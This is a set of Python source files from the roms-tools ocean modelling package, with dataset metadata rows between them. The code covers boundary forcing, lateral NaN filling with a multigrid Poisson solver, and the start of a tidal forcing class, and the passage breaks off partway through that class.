"is_3d": False, }, "temp": default_info, "salt": default_info, "u": { "location": "u", "is_vector": True, "vector_pair": "v", "is_3d": True, }, "v": { "location": "v", "is_vector": True, "vector_pair": "u", "is_3d": True, }, "ubar": { "location": "u", "is_vector": True, "vector_pair": "vbar", "is_3d": False, }, "vbar": { "location": "v", "is_vector": True, "vector_pair": "ubar", "is_3d": False, }, } elif self.type == "bgc": variable_info = {} for var in data.var_names.keys(): variable_info[var] = default_info return variable_info def _write_into_dataset(self, direction, data_vars, ds=None): if ds is None: ds = xr.Dataset() d_meta = get_variable_metadata() for var in data_vars.keys(): ds[f"{var}_{direction}"] = data_vars[var].astype(np.float32) ds[f"{var}_{direction}"].attrs[ "long_name" ] = f"{direction}ern boundary {d_meta[var]['long_name']}" ds[f"{var}_{direction}"].attrs["units"] = d_meta[var]["units"] # Gracefully handle dropping variables that might not be present variables_to_drop = [ "s_rho", "layer_depth_rho", "layer_depth_u", "layer_depth_v", "interface_depth_rho", "interface_depth_u", "interface_depth_v", "lat_rho", "lon_rho", "lat_u", "lon_u", "lat_v", "lon_v", ] existing_vars = [var for var in variables_to_drop if var in ds] ds = ds.drop_vars(existing_vars) return ds def _get_coordinates(self, direction, point): """Retrieve layer and interface depth coordinates for a specified grid boundary. This method extracts the layer depth and interface depth coordinates along a specified boundary (north, south, east, or west) and for a specified point type (rho, u, or v) from the grid dataset. Parameters ---------- direction : str The direction of the boundary to retrieve coordinates for. Valid options are "north", "south", "east", and "west". point : str The type of grid point to retrieve coordinates for. Valid options are "rho" for the grid's central points, "u" for the u-flux points, and "v" for the v-flux points. Returns ------- xarray.DataArray, xarray.DataArray The layer depth and interface depth coordinates for the specified grid boundary and point type. """ bdry_coords = get_boundary_info() layer_depth = self.grid.ds[f"layer_depth_{point}"].isel( **bdry_coords[point][direction] ) interface_depth = self.grid.ds[f"interface_depth_{point}"].isel( **bdry_coords[point][direction] ) return layer_depth, interface_depth def _add_global_metadata(self, data, ds=None): if ds is None: ds = xr.Dataset() ds.attrs["title"] = "ROMS boundary forcing file created by ROMS-Tools" # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" ds.attrs["roms_tools_version"] = roms_tools_version ds.attrs["start_time"] = str(self.start_time) ds.attrs["end_time"] = str(self.end_time) ds.attrs["source"] = self.source["name"] ds.attrs["model_reference_date"] = str(self.model_reference_date) ds.attrs["theta_s"] = self.grid.ds.attrs["theta_s"] ds.attrs["theta_b"] = self.grid.ds.attrs["theta_b"] ds.attrs["hc"] = self.grid.ds.attrs["hc"] # Convert the time coordinate to the format expected by ROMS if data.climatology: ds.attrs["climatology"] = str(True) # Preserve absolute time coordinate for readability ds = ds.assign_coords( {"abs_time": np.datetime64(self.model_reference_date) + ds["time"]} ) # Convert to pandas TimedeltaIndex timedelta_index = pd.to_timedelta(ds["time"].values) # Determine the start of the year for the base_datetime start_of_year = datetime(self.model_reference_date.year, 1, 1) # Calculate the offset from midnight of the new year offset = self.model_reference_date - start_of_year # Convert the timedelta to nanoseconds first, then to days bry_time = xr.DataArray( (timedelta_index - offset).view("int64") / 3600 / 24 * 1e-9, dims="time", ) else: # Preserve absolute time coordinate for readability ds = ds.assign_coords({"abs_time": ds["time"]}) bry_time = ( (ds["time"] - np.datetime64(self.model_reference_date)).astype( "float64" ) / 3600 / 24 * 1e-9 ) ds = ds.assign_coords({"bry_time": bry_time}) ds["bry_time"].attrs[ "long_name" ] = f"days since {str(self.model_reference_date)}" ds["bry_time"].encoding["units"] = "days" ds["bry_time"].attrs["units"] = "days" ds = ds.swap_dims({"time": "bry_time"}) ds = ds.drop_vars("time") ds.encoding["unlimited_dims"] = "bry_time" if data.climatology: ds["bry_time"].attrs["cycle_length"] = 365.25 return ds def plot( self, varname, time=0, layer_contours=False, ) -> None: """Plot the boundary forcing field for a given time-slice. Parameters ---------- varname : str The name of the boundary forcing field to plot. Options include: - "temp_{direction}": Potential temperature, - "salt_{direction}": Salinity, - "zeta_{direction}": Sea surface height, - "u_{direction}": u-flux component, - "v_{direction}": v-flux component, - "ubar_{direction}": Vertically integrated u-flux component, - "vbar_{direction}": Vertically integrated v-flux component, - "PO4_{direction}": Dissolved Inorganic Phosphate (mmol/m³), - "NO3_{direction}": Dissolved Inorganic Nitrate (mmol/m³), - "SiO3_{direction}": Dissolved Inorganic Silicate (mmol/m³), - "NH4_{direction}": Dissolved Ammonia (mmol/m³), - "Fe_{direction}": Dissolved Inorganic Iron (mmol/m³), - "Lig_{direction}": Iron Binding Ligand (mmol/m³), - "O2_{direction}": Dissolved Oxygen (mmol/m³), - "DIC_{direction}": Dissolved Inorganic Carbon (mmol/m³), - "DIC_ALT_CO2_{direction}": Dissolved Inorganic Carbon, Alternative CO2 (mmol/m³), - "ALK_{direction}": Alkalinity (meq/m³), - "ALK_ALT_CO2_{direction}": Alkalinity, Alternative CO2 (meq/m³), - "DOC_{direction}": Dissolved Organic Carbon (mmol/m³), - "DON_{direction}": Dissolved Organic Nitrogen (mmol/m³), - "DOP_{direction}": Dissolved Organic Phosphorus (mmol/m³), - "DOPr_{direction}": Refractory Dissolved Organic Phosphorus (mmol/m³), - "DONr_{direction}": Refractory Dissolved Organic Nitrogen (mmol/m³), - "DOCr_{direction}": Refractory Dissolved Organic Carbon (mmol/m³), - "zooC_{direction}": Zooplankton Carbon (mmol/m³), - "spChl_{direction}": Small Phytoplankton Chlorophyll (mg/m³), - "spC_{direction}": Small Phytoplankton Carbon (mmol/m³), - "spP_{direction}": Small Phytoplankton Phosphorous (mmol/m³), - "spFe_{direction}": Small Phytoplankton Iron (mmol/m³), - "spCaCO3_{direction}": Small Phytoplankton CaCO3 (mmol/m³), - "diatChl_{direction}": Diatom Chlorophyll (mg/m³), - "diatC_{direction}": Diatom Carbon (mmol/m³), - "diatP_{direction}": Diatom Phosphorus (mmol/m³), - "diatFe_{direction}": Diatom Iron (mmol/m³), - "diatSi_{direction}": Diatom Silicate (mmol/m³), - "diazChl_{direction}": Diazotroph Chlorophyll (mg/m³), - "diazC_{direction}": Diazotroph Carbon (mmol/m³), - "diazP_{direction}": Diazotroph Phosphorus (mmol/m³), - "diazFe_{direction}": Diazotroph Iron (mmol/m³), where {direction} can be one of ["south", "east", "north", "west"]. time : int, optional The time index to plot. Default is 0. layer_contours : bool, optional If True, contour lines representing the boundaries between vertical layers will be added to the plot. For clarity, the number of layer contours displayed is limited to a maximum of 10. Default is False. Returns ------- None This method does not return any value. It generates and displays a plot. Raises ------ ValueError If the specified varname is not one of the valid options. """ if varname not in self.ds: raise ValueError(f"Variable '{varname}' is not found in dataset.") field = self.ds[varname].isel(bry_time=time).load() title = field.long_name if "s_rho" in field.dims: if varname.startswith(("u_", "ubar_")): point = "u" elif varname.startswith(("v_", "vbar_")): point = "v" else: point = "rho" direction = varname.split("_")[-1] layer_depth, interface_depth = self._get_coordinates(direction, point) field = field.assign_coords({"layer_depth": layer_depth}) # chose colorbar if varname.startswith(("u", "v", "ubar", "vbar", "zeta")): vmax = max(field.max().values, -field.min().values) vmin = -vmax cmap = plt.colormaps.get_cmap("RdBu_r") else: vmax = field.max().values vmin = field.min().values if varname.startswith(("temp", "salt")): cmap = plt.colormaps.get_cmap("YlOrRd") else: cmap = plt.colormaps.get_cmap("YlGn") cmap.set_bad(color="gray") kwargs = {"vmax": vmax, "vmin": vmin, "cmap": cmap} if len(field.dims) == 2: if layer_contours: # restrict number of layer_contours to 10 for the sake of plot clearity nr_layers = len(interface_depth["s_w"]) selected_layers = np.linspace( 0, nr_layers - 1, min(nr_layers, 10), dtype=int ) interface_depth = interface_depth.isel(s_w=selected_layers) else: interface_depth = None _section_plot( field, interface_depth=interface_depth, title=title, kwargs=kwargs ) else: _line_plot(field, title=title) def save( self, filepath: Union[str, Path], np_eta: int = None, np_xi: int = None ) -> None: """Save the boundary forcing fields to netCDF4 files. This method saves the dataset by grouping it into subsets based on the data frequency. The subsets are then written to one or more netCDF4 files. The filenames of the output files reflect the temporal coverage of the data. There are two modes of saving the dataset: 1. **Single File Mode (default)**: If both `np_eta` and `np_xi` are `None`, the entire dataset, divided by temporal subsets, is saved as a single netCDF4 file with the base filename specified by `filepath.nc`. 2. **Partitioned Mode**: - If either `np_eta` or `np_xi` is specified, the dataset is divided into spatial tiles along the eta-axis and xi-axis. - Each spatial tile is saved as a separate netCDF4 file. Parameters ---------- filepath : Union[str, Path] The base path and filename for the output files. The format of the filenames depends on whether partitioning is used and the temporal range of the data. For partitioned datasets, files will be named with an additional index, e.g., `"filepath_YYYYMM.0.nc"`, `"filepath_YYYYMM.1.nc"`, etc. np_eta : int, optional The number of partitions along the `eta` direction. If `None`, no spatial partitioning is performed. np_xi : int, optional The number of partitions along the `xi` direction. If `None`, no spatial partitioning is performed. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ # Ensure filepath is a Path object filepath = Path(filepath) # Remove ".nc" suffix if present if filepath.suffix == ".nc": filepath = filepath.with_suffix("") dataset_list, output_filenames = group_dataset(self.ds.load(), str(filepath)) saved_filenames = save_datasets( dataset_list, output_filenames, np_eta=np_eta, np_xi=np_xi ) return saved_filenames def to_yaml(self, filepath: Union[str, Path]) -> None: """Export the parameters of the class to a YAML file, including the version of roms-tools. Parameters ---------- filepath : Union[str, Path] The path to the YAML file where the parameters will be saved. """ filepath = Path(filepath) # Serialize Grid data grid_data = asdict(self.grid) grid_data.pop("ds", None) # Exclude non-serializable fields grid_data.pop("straddle", None) # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" # Create header header = f"---\nroms_tools_version: {roms_tools_version}\n---\n" grid_yaml_data = {"Grid": grid_data} boundary_forcing_data = { "BoundaryForcing": { "start_time": self.start_time.isoformat(), "end_time": self.end_time.isoformat(), "boundaries": self.boundaries, "source": self.source, "type": self.type, "model_reference_date": self.model_reference_date.isoformat(), } } yaml_data = { **grid_yaml_data, **boundary_forcing_data, } with filepath.open("w") as file: # Write header file.write(header) # Write YAML data yaml.dump(yaml_data, file, default_flow_style=False) @classmethod def from_yaml( cls, filepath: Union[str, Path], use_dask: bool = False ) -> "BoundaryForcing": """Create an instance of the BoundaryForcing class from a YAML file. Parameters ---------- filepath : Union[str, Path] The path to the YAML file from which the parameters will be read. use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Returns ------- BoundaryForcing An instance of the BoundaryForcing class. """ filepath = Path(filepath) # Read the entire file content with filepath.open("r") as file: file_content = file.read() # Split the content into YAML documents documents = list(yaml.safe_load_all(file_content)) boundary_forcing_data = None # Process the YAML documents for doc in documents: if doc is None: continue if "BoundaryForcing" in doc: boundary_forcing_data = doc["BoundaryForcing"] break if boundary_forcing_data is None: raise ValueError("No BoundaryForcing configuration found in the YAML file.") # Convert from string to datetime for date_string in ["model_reference_date", "start_time", "end_time"]: boundary_forcing_data[date_string] = datetime.fromisoformat( boundary_forcing_data[date_string] ) grid = Grid.from_yaml(filepath) # Create and return an instance of InitialConditions return cls(grid=grid, **boundary_forcing_data, use_dask=use_dask) def get_boundary_info(): """This function provides information about the boundary points for the rho, u, and v variables on the grid, specifying the indices for the south, east, north, and west boundaries. Returns ------- dict A dictionary where keys are variable types ("rho", "u", "v"), and values are nested dictionaries mapping directions ("south", "east", "north", "west") to the corresponding boundary coordinates. """ # Boundary coordinates bdry_coords = { "rho": { "south": {"eta_rho": 0}, "east": {"xi_rho": -1}, "north": {"eta_rho": -1}, "west": {"xi_rho": 0}, }, "u": { "south": {"eta_rho": 0}, "east": {"xi_u": -1}, "north": {"eta_rho": -1}, "west": {"xi_u": 0}, }, "v": { "south": {"eta_v": 0}, "east": {"xi_rho": -1}, "north": {"eta_v": -1}, "west": {"xi_rho": 0}, }, "vector": { "south": {"eta_rho": [0, 1]}, "east": {"xi_rho": [-2, -1]}, "north": {"eta_rho": [-2, -1]}, "west": {"xi_rho": [0, 1]}, }, } return bdry_coords
30,800
Python
.py
679
32.886598
151
0.547417
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,713
fill.py
CWorthy-ocean_roms-tools/roms_tools/setup/fill.py
import numpy as np import xarray as xr import pyamg from scipy import sparse class LateralFill: def __init__(self, mask, dims, tol=1.0e-4): """Initializes the LateralFill class, which fills NaN values in a DataArray by iteratively solving a Poisson equation using a lateral diffusion approach. Parameters ---------- mask : xarray.DataArray or ndarray of bool A 2D boolean mask indicating valid points (True) and land points (False). Boundary points are automatically set to land (True). dims : list of str Dimensions along which to perform the lateral fill. tol : float, optional Tolerance for the iterative solver, determining convergence. Default is 1.0e-4. Raises ------ NotImplementedError If the input mask has more than two dimensions, which is not supported by the current implementation. """ if len(mask.shape) > 2: raise NotImplementedError("LateralFill currently supports only 2D masks.") self.mask = mask # Ensure the mask is 2D, copy it and set boundary values to True mask = mask.copy() mask[0, :] = True mask[-1, :] = True mask[:, 0] = True mask[:, -1] = True # Flatten the mask for use in the sparse matrix solver mask_flat = mask.values.flatten() # Create a sparse matrix representing the Laplacian operator for the diffusion process A = laplacian(mask.shape, mask_flat, format="csr") # Use algebraic multigrid solver for solving the Poisson equation with set seed to ensure reproducibility np.random.seed(123089) self.ml = pyamg.smoothed_aggregation_solver(A, max_coarse=10) self.dims = dims self.tol = tol def apply(self, var): """Fills NaN values in an xarray DataArray using iterative lateral diffusion. Parameters ---------- var : xarray.DataArray Input DataArray with NaN values to be filled. The fill is performed across the dimensions specified by `dims`. Returns ------- var_filled : xarray.DataArray A DataArray with NaN values filled by iterative smoothing, while preserving non-NaN values. """ # Apply fill to anomaly field mean = var.where(self.mask).mean(dim=self.dims, skipna=True) var = var - mean # Setup the right-hand side (RHS): ocean points take their original values, land points are set to 0 b = xr.where(self.mask, var, 0) # Initial guess: ocean points take their original values, land points are set to 0 x0 = xr.where(self.mask, var, 0) # Apply the iterative solver using a custom NumPy function var_filled = xr.apply_ufunc( _lateral_fill_np_array, x0, b, input_core_dims=[self.dims, self.dims], output_core_dims=[self.dims], output_dtypes=[x0.dtype], dask="parallelized", vectorize=True, kwargs={"ml": self.ml, "tol": self.tol}, ) var_filled = var_filled + mean return var_filled def _lateral_fill_np_array(x0, b, ml, tol=1.0e-4): """Fills all NaN values in a 2D NumPy array using an iterative solver, while preserving the existing non-NaN values. The filling process uses an AMG solver to efficiently perform smoothing based on the Laplace operator. Parameters ---------- x0 : numpy.ndarray Initial guess for the fill operation. b : numpy.ndarray Right-hand side (RHS) of the equation representing the data values to be used in the fill process. Non-NaN values in `b` correspond to valid points, and zeros are used for masked (invalid) points. ml : pyamg.MultilevelSolver An algebraic multigrid (AMG) solver used to iteratively fill NaNs via a smoothing process. tol : float, optional, default=1.0e-4 Convergence tolerance for the iterative solver. The filling process stops when the relative residual (change in values) is less than or equal to `tol`. Specifically, the process iterates until: ``||Ax - b|| / ||Ax0 - b|| < tol``, where `A` is the system matrix, `x` is the solution, and `x0` is the initial guess. Returns ------- x_2d : numpy.ndarray The filled 2D array where NaN values have been replaced with iteratively computed values, and non-NaN values remain unchanged. """ b_flat = b.flatten() x0_flat = x0.flatten() x = ml.solve(b_flat, x0_flat, tol=tol) x_2d = x.reshape(b.shape) return x_2d def laplacian(grid, mask, dtype=float, format=None): """Return a sparse matrix for solving a 2-dimensional Poisson problem. This function generates a finite difference approximation of the Laplacian operator on a 2-dimensional grid with unit grid spacing and Dirichlet boundary conditions. The matrix can be used to solve Poisson-like equations in grid-based numerical methods. The computation iterates over the last dimension first (z, then y, then x), and the output matrix should be compatible with `np.mgrid()` or `np.ndenumerate()`. Parameters ---------- grid : tuple of int Dimensions of the grid, e.g., (100, 100). mask : 2D array of bool A boolean mask of the same size as the grid, indicating valid grid points (True for valid points, False for masked points). dtype : data-type, optional The desired data type of the resulting matrix. Default is `float`. format : str, optional The format of the sparse matrix to return, such as "csr", "coo", etc. Default is None. Returns ------- sparse matrix A sparse matrix representing the finite difference Laplacian operator for the given grid. """ grid = tuple(grid) # create 2-dimensional Laplacian stencil N = 2 stencil = np.zeros((3,) * N, dtype=dtype) for i in range(N): stencil[(1,) * i + (0,) + (1,) * (N - i - 1)] = 1 stencil[(1,) * i + (2,) + (1,) * (N - i - 1)] = 1 stencil[(1,) * N] = -2 * N return stencil_grid_mod(stencil, grid, mask, format=format) def stencil_grid_mod(S, grid, msk, dtype=None, format=None): """Construct a sparse matrix from a local matrix stencil. This function generates a sparse matrix that represents an operator by applying the given stencil `S` at each vertex of a regular grid with the specified dimensions. The matrix is modified according to the provided mask to ensure that masked points are not affected during matrix operations. Parameters ---------- S : ndarray An N-dimensional array representing the local matrix stencil. All dimensions of `S` must be odd. grid : tuple of int A tuple specifying the dimensions of the grid. The length of the tuple should match the number of dimensions of the stencil `S`. msk : ndarray of bool A 1D boolean array where `True` indicates points that are masked (i.e., should not be affected by the matrix). dtype : data-type, optional The data type of the resulting sparse matrix. Default is `None`, which will infer the type from `S`. format : str, optional The sparse matrix format to return, such as "csr", "coo", etc. If not specified, the default is DIA (diagonal) format. Returns ------- A : sparse matrix A sparse matrix representing the operator formed by applying the stencil `S` at each grid vertex. The matrix is modified based on the mask so that masked points are unaffected by the operator. Notes ----- The grid vertices are enumerated as `arange(prod(grid)).reshape(grid)`. This means the last grid dimension cycles fastest, while the first dimension cycles slowest. For example, if `grid=(2,3)`, then the grid vertices are ordered as (0,0), (0,1), (0,2), (1,0), (1,1), (1,2). This ordering is consistent with the NumPy functions `ndenumerate()` and `mgrid()`. The stencil is applied in all directions, and boundary conditions are respected by zeroing out connections to boundary points. """ S = np.asarray(S, dtype=dtype) grid = tuple(grid) if not (np.asarray(S.shape) % 2 == 1).all(): raise ValueError("all stencil dimensions must be odd") if len(grid) != np.ndim(S): raise ValueError( "stencil dimension must equal number of grid\ dimensions" ) if min(grid) < 1: raise ValueError("grid dimensions must be positive") N_v = np.prod(grid) # number of vertices in the mesh N_s = (S != 0).sum() # number of nonzero stencil entries # diagonal offsets diags = np.zeros(N_s, dtype=int) # compute index offset of each dof within the stencil strides = np.cumprod([1] + list(reversed(grid)))[:-1] # noqa: RUF005 indices = tuple(i.copy() for i in S.nonzero()) for i, s in zip(indices, S.shape): i -= s // 2 for stride, coords in zip(strides, reversed(indices)): diags += stride * coords data = S[S != 0].repeat(N_v).reshape(N_s, N_v) indices = np.vstack(indices).T # zero boundary connections for index, diag in zip(indices, data): diag = diag.reshape(grid) for n, i in enumerate(index): if i > 0: s = [slice(None)] * len(grid) s[n] = slice(0, i) s = tuple(s) diag[s] = 0 elif i < 0: s = [slice(None)] * len(grid) s[n] = slice(i, None) s = tuple(s) diag[s] = 0 # remove diagonals that lie outside matrix mask = abs(diags) < N_v if not mask.all(): diags = diags[mask] data = data[mask] # sum duplicate diagonals if len(np.unique(diags)) != len(diags): new_diags = np.unique(diags) new_data = np.zeros((len(new_diags), data.shape[1]), dtype=data.dtype) for dia, dat in zip(diags, data): n = np.searchsorted(new_diags, dia) new_data[n, :] += dat diags = new_diags data = new_data # Modify the data vectors so that masked points are not affected by the matrix solve. # The modifications to the data vectors are offset by the elements of "diag" because # of the way sparse.dia_matrix sets the diagonals for i in range(N_v): if msk[i]: if (i + diags[0]) >= 0: data[0, i + diags[0]] = 0 if (i + diags[1]) >= 0: data[1, i + diags[1]] = 0 data[2, i] = 1 if (i + diags[3]) < (N_v): data[3, i + diags[3]] = 0 if (i + diags[4]) < (N_v): data[4, i + diags[4]] = 0 return sparse.dia_matrix((data, diags), shape=(N_v, N_v)).asformat(format) def _lateral_fill(data_vars, data): """Wrapper function to apply lateral fill to variables using the dataset's mask and grid dimensions. Parameters ---------- data_vars : dict of str : xarray.DataArray Dictionary of variables to be filled. data : Dataset Dataset containing the mask and grid dimensions. Returns ------- dict of str : xarray.DataArray Dictionary of filled variables. """ lateral_fill = LateralFill( data.ds["mask"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) if "mask_vel" in data.ds.data_vars: lateral_fill_vel = LateralFill( data.ds["mask_vel"], [data.dim_names["latitude"], data.dim_names["longitude"]], ) for var in data.var_names: if var in ["u", "v"]: data_vars[var] = lateral_fill_vel.apply(data_vars[var]) else: data_vars[var] = lateral_fill.apply(data_vars[var]) return data_vars
12,130
Python
.py
275
35.858182
113
0.625138
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,714
tides.py
CWorthy-ocean_roms-tools/roms_tools/setup/tides.py
from datetime import datetime import xarray as xr import numpy as np import yaml import importlib.metadata from typing import Dict, Union, List from dataclasses import dataclass, field, asdict from roms_tools.setup.grid import Grid from roms_tools.setup.plot import _plot from roms_tools.setup.datasets import TPXODataset from roms_tools.setup.utils import ( nan_check, substitute_nans_by_fillvalue, interpolate_from_rho_to_u, interpolate_from_rho_to_v, get_variable_metadata, save_datasets, get_target_coords, rotate_velocities, get_vector_pairs, ) from roms_tools.setup.fill import _lateral_fill from roms_tools.setup.regrid import _lateral_regrid import matplotlib.pyplot as plt from pathlib import Path @dataclass(frozen=True, kw_only=True) class TidalForcing: """Represents tidal forcing for ROMS. Parameters ---------- grid : Grid The grid object representing the ROMS grid associated with the tidal forcing data. source : Dict[str, Union[str, Path, List[Union[str, Path]]]] Dictionary specifying the source of the tidal data. Keys include: - "name" (str): Name of the data source (e.g., "TPXO"). - "path" (Union[str, Path, List[Union[str, Path]]]): The path to the raw data file(s). This can be: - A single string (with or without wildcards). - A single Path object. - A list of strings or Path objects containing multiple files. ntides : int, optional Number of constituents to consider. Maximum number is 14. Default is 10. allan_factor : float, optional The Allan factor used in tidal model computation. Default is 2.0. model_reference_date : datetime, optional The reference date for the ROMS simulation. Default is datetime(2000, 1, 1). use_dask: bool, optional Indicates whether to use dask for processing. If True, data is processed with dask; if False, data is processed eagerly. Defaults to False. Examples -------- >>> tidal_forcing = TidalForcing( ... grid=grid, source={"name": "TPXO", "path": "tpxo_data.nc"} ... ) """ grid: Grid source: Dict[str, Union[str, Path, List[Union[str, Path]]]] ntides: int = 10 allan_factor: float = 2.0 model_reference_date: datetime = datetime(2000, 1, 1) use_dask: bool = False ds: xr.Dataset = field(init=False, repr=False) def __post_init__(self): self._input_checks() target_coords = get_target_coords(self.grid) data = self._get_data() data.check_number_constituents(self.ntides) data.choose_subdomain( latitude_range=[ target_coords["lat"].min().values, target_coords["lat"].max().values, ], longitude_range=[ target_coords["lon"].min().values, target_coords["lon"].max().values, ], margin=2, straddle=target_coords["straddle"], ) # select desired number of constituents object.__setattr__(data, "ds", data.ds.isel(ntides=slice(None, self.ntides))) self._correct_tides(data) variable_info = self._set_variable_info() data_vars = {} for var_name in data.var_names: data_vars[var_name] = data.ds[data.var_names[var_name]] data_vars = _lateral_fill(data_vars, data) # lateral regridding var_names = variable_info.keys() data_vars = _lateral_regrid( data, target_coords["lon"], target_coords["lat"], data_vars, var_names ) # rotation of velocities and interpolation to u/v points vector_pairs = get_vector_pairs(variable_info) for pair in vector_pairs: u_component = pair[0] v_component = pair[1] if u_component in data_vars and v_component in data_vars: (data_vars[u_component], data_vars[v_component],) = rotate_velocities( data_vars[u_component], data_vars[v_component], target_coords["angle"], interpolate=False, ) # convert to barotropic velocity for varname in ["u_Re", "v_Re", "u_Im", "v_Im"]: data_vars[varname] = data_vars[varname] / self.grid.ds.h # interpolate from rho- to velocity points for uname in ["u_Re", "u_Im"]: data_vars[uname] = interpolate_from_rho_to_u(data_vars[uname]) for vname in ["v_Re", "v_Im"]: data_vars[vname] = interpolate_from_rho_to_v(data_vars[vname]) d_meta = get_variable_metadata() ds = self._write_into_dataset(data_vars, d_meta) ds["omega"] = data.ds["omega"] ds = self._add_global_metadata(ds) # NaN values at wet points indicate that the raw data did not cover the domain, and the following will raise a ValueError for var in ["ssh_Re", "u_Re", "v_Im"]: nan_check(ds[var].isel(ntides=0), self.grid.ds.mask_rho) # substitute NaNs over land by a fill value to avoid blow-up of ROMS for var in ds.data_vars: ds[var] = substitute_nans_by_fillvalue(ds[var]) object.__setattr__(self, "ds", ds) def _input_checks(self): if "name" not in self.source.keys(): raise ValueError("`source` must include a 'name'.") if "path" not in self.source.keys(): raise ValueError("`source` must include a 'path'.") def _get_data(self): if self.source["name"] == "TPXO": data = TPXODataset(filename=self.source["path"], use_dask=self.use_dask) else: raise ValueError('Only "TPXO" is a valid option for source["name"].') return data def _set_variable_info(self): """Sets up a dictionary with metadata for variables based on the type. The dictionary contains the following information: - `location`: Where the variable resides in the grid (e.g., rho, u, or v points). - `is_vector`: Whether the variable is part of a vector (True for velocity components like 'u' and 'v'). - `vector_pair`: For vector variables, this indicates the associated variable that forms the vector (e.g., 'u' and 'v'). - `is_3d`: Indicates whether the variable is 3D (True for variables like 'temp' and 'salt') or 2D (False for 'zeta'). Returns ------- dict A dictionary where the keys are variable names and the values are dictionaries of metadata about each variable, including 'location', 'is_vector', 'vector_pair', and 'is_3d'. """ default_info = { "location": "rho", "is_vector": False, "vector_pair": None, "is_3d": False, } # Define a dictionary for variable names and their associated information variable_info = { "ssh_Re": default_info, "ssh_Im": default_info, "pot_Re": default_info, "pot_Im": default_info, "u_Re": { "location": "u", "is_vector": True, "vector_pair": "v_Re", "is_3d": False, }, "v_Re": { "location": "v", "is_vector": True, "vector_pair": "u_Re", "is_3d": False, }, "u_Im": { "location": "u", "is_vector": True, "vector_pair": "v_Im", "is_3d": False, }, "v_Im": { "location": "v", "is_vector": True, "vector_pair": "u_Im", "is_3d": False, }, } return variable_info def _write_into_dataset(self, data_vars, d_meta): # save in new dataset ds = xr.Dataset() for var in data_vars.keys(): ds[var] = data_vars[var].astype(np.float32) ds[var].attrs["long_name"] = d_meta[var]["long_name"] ds[var].attrs["units"] = d_meta[var]["units"] ds = ds.drop_vars(["lat_rho", "lon_rho"]) return ds def _add_global_metadata(self, ds): ds.attrs["title"] = "ROMS tidal forcing created by ROMS-Tools" # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" ds.attrs["roms_tools_version"] = roms_tools_version ds.attrs["source"] = self.source["name"] ds.attrs["model_reference_date"] = str(self.model_reference_date) ds.attrs["allan_factor"] = self.allan_factor return ds def plot(self, varname, ntides=0) -> None: """Plot the specified tidal forcing variable for a given tidal constituent. Parameters ---------- varname : str The tidal forcing variable to plot. Options include: - "ssh_Re": Real part of tidal elevation. - "ssh_Im": Imaginary part of tidal elevation. - "pot_Re": Real part of tidal potential. - "pot_Im": Imaginary part of tidal potential. - "u_Re": Real part of tidal velocity in the x-direction. - "u_Im": Imaginary part of tidal velocity in the x-direction. - "v_Re": Real part of tidal velocity in the y-direction. - "v_Im": Imaginary part of tidal velocity in the y-direction. ntides : int, optional The index of the tidal constituent to plot. Default is 0, which corresponds to the first constituent. Returns ------- None This method does not return any value. It generates and displays a plot. Raises ------ ValueError If the specified field is not one of the valid options. Examples -------- >>> tidal_forcing = TidalForcing(grid) >>> tidal_forcing.plot("ssh_Re", nc=0) """ field = self.ds[varname].isel(ntides=ntides).compute() if all(dim in field.dims for dim in ["eta_rho", "xi_rho"]): field = field.where(self.grid.ds.mask_rho) field = field.assign_coords( {"lon": self.grid.ds.lon_rho, "lat": self.grid.ds.lat_rho} ) elif all(dim in field.dims for dim in ["eta_rho", "xi_u"]): field = field.where(self.grid.ds.mask_u) field = field.assign_coords( {"lon": self.grid.ds.lon_u, "lat": self.grid.ds.lat_u} ) elif all(dim in field.dims for dim in ["eta_v", "xi_rho"]): field = field.where(self.grid.ds.mask_v) field = field.assign_coords( {"lon": self.grid.ds.lon_v, "lat": self.grid.ds.lat_v} ) else: ValueError("provided field does not have two horizontal dimension") title = "%s, ntides = %i" % (field.long_name, self.ds[varname].ntides[ntides]) vmax = max(field.max(), -field.min()) vmin = -vmax cmap = plt.colormaps.get_cmap("RdBu_r") cmap.set_bad(color="gray") kwargs = {"vmax": vmax, "vmin": vmin, "cmap": cmap} _plot( self.grid.ds, field=field, straddle=self.grid.straddle, c="g", kwargs=kwargs, title=title, ) def save( self, filepath: Union[str, Path], np_eta: int = None, np_xi: int = None ) -> None: """Save the tidal forcing information to a netCDF4 file. This method supports saving the dataset in two modes: 1. **Single File Mode (default)**: If both `np_eta` and `np_xi` are `None`, the entire dataset is saved as a single netCDF4 file with the base filename specified by `filepath.nc`. 2. **Partitioned Mode**: - If either `np_eta` or `np_xi` is specified, the dataset is divided into spatial tiles along the eta-axis and xi-axis. - Each spatial tile is saved as a separate netCDF4 file. Parameters ---------- filepath : Union[str, Path] The base path or filename where the dataset should be saved. np_eta : int, optional The number of partitions along the `eta` direction. If `None`, no spatial partitioning is performed. np_xi : int, optional The number of partitions along the `xi` direction. If `None`, no spatial partitioning is performed. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ # Ensure filepath is a Path object filepath = Path(filepath) # Remove ".nc" suffix if present if filepath.suffix == ".nc": filepath = filepath.with_suffix("") dataset_list = [self.ds.load()] output_filenames = [str(filepath)] saved_filenames = save_datasets( dataset_list, output_filenames, np_eta=np_eta, np_xi=np_xi ) return saved_filenames def to_yaml(self, filepath: Union[str, Path]) -> None: """Export the parameters of the class to a YAML file, including the version of roms-tools. Parameters ---------- filepath : Union[str, Path] The path to the YAML file where the parameters will be saved. """ filepath = Path(filepath) grid_data = asdict(self.grid) grid_data.pop("ds", None) # Exclude non-serializable fields grid_data.pop("straddle", None) # Include the version of roms-tools try: roms_tools_version = importlib.metadata.version("roms-tools") except importlib.metadata.PackageNotFoundError: roms_tools_version = "unknown" # Create header header = f"---\nroms_tools_version: {roms_tools_version}\n---\n" # 